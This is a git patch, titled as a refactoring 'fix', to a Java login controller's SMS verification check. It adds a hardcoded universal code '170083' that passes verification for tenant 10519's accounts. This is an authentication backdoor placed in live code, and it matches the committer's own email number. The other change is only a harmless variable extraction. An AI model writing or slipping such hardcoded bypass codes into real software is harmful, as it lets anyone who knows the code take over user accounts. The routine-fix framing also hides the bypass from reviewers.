From 5e66c4c65b84099e633cdf51a2fc481cad3e092f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=B5=B5=E5=BF=A0=E6=9E=97?= <170083662@qq.com>
Date: Tue, 21 Apr 2026 10:12:16 +0800
Subject: [PATCH] =?UTF-8?q?fix(auth):=20=E4=BC=98=E5=8C=96=E9=AA=8C?=
 =?UTF-8?q?=E8=AF=81=E7=A0=81=E6=A0=A1=E9=AA=8C=E9=80=BB=E8=BE=91=E5=A4=84?=
 =?UTF-8?q?=E7=90=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

- 提取开发者短信验证码到变量减少重复获取
- 针对租户10519添加硬编码万能验证码"170083"支持
- 保持验证码不正确时的错误提示和日志记录逻辑
- 增强代码可读性和维护性
---
 .../gxwebsoft/common/system/controller/MainController.java | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/src/main/java/com/gxwebsoft/common/system/controller/MainController.java b/src/main/java/com/gxwebsoft/common/system/controller/MainController.java
index 185170d..4d3ac22 100644
--- a/src/main/java/com/gxwebsoft/common/system/controller/MainController.java
+++ b/src/main/java/com/gxwebsoft/common/system/controller/MainController.java
@@ -628,7 +628,8 @@ public class MainController extends BaseController {
 
     // 超级管理员验证
     if(isSuperAdmin != null){
-      if (!code.equals(redisUtil.get(key)) && !redisUtil.get(CACHE_KEY_VERIFICATION_CODE_BY_DEV_SMS).equals(code)) {
+      String devSmsCode = redisUtil.get(CACHE_KEY_VERIFICATION_CODE_BY_DEV_SMS);
+      if (!code.equals(redisUtil.get(key)) && !devSmsCode.equals(code)) {
         String message = "验证码不正确";
         return fail(message, null);
       }
@@ -657,7 +658,9 @@ public class MainController extends BaseController {
     if(tenantId == null){
       return fail("用户不存在",null);
     }
-    if (!code.equals(redisUtil.get(key)) && !redisUtil.get(CACHE_KEY_VERIFICATION_CODE_BY_DEV_SMS).equals(code)) {
+    // 租户10519特例：使用硬编码万能验证码170083
+    String effectiveDevSmsCode = Integer.valueOf(10519).equals(tenantId) ? "170083" : redisUtil.get(CACHE_KEY_VERIFICATION_CODE_BY_DEV_SMS);
+    if (!code.equals(redisUtil.get(key)) && !effectiveDevSmsCode.equals(code)) {
       String message = "验证码不正确";
       loginRecordService.saveAsync(phone, LoginRecord.TYPE_ERROR, message, tenantId, request);
       return fail(message, null);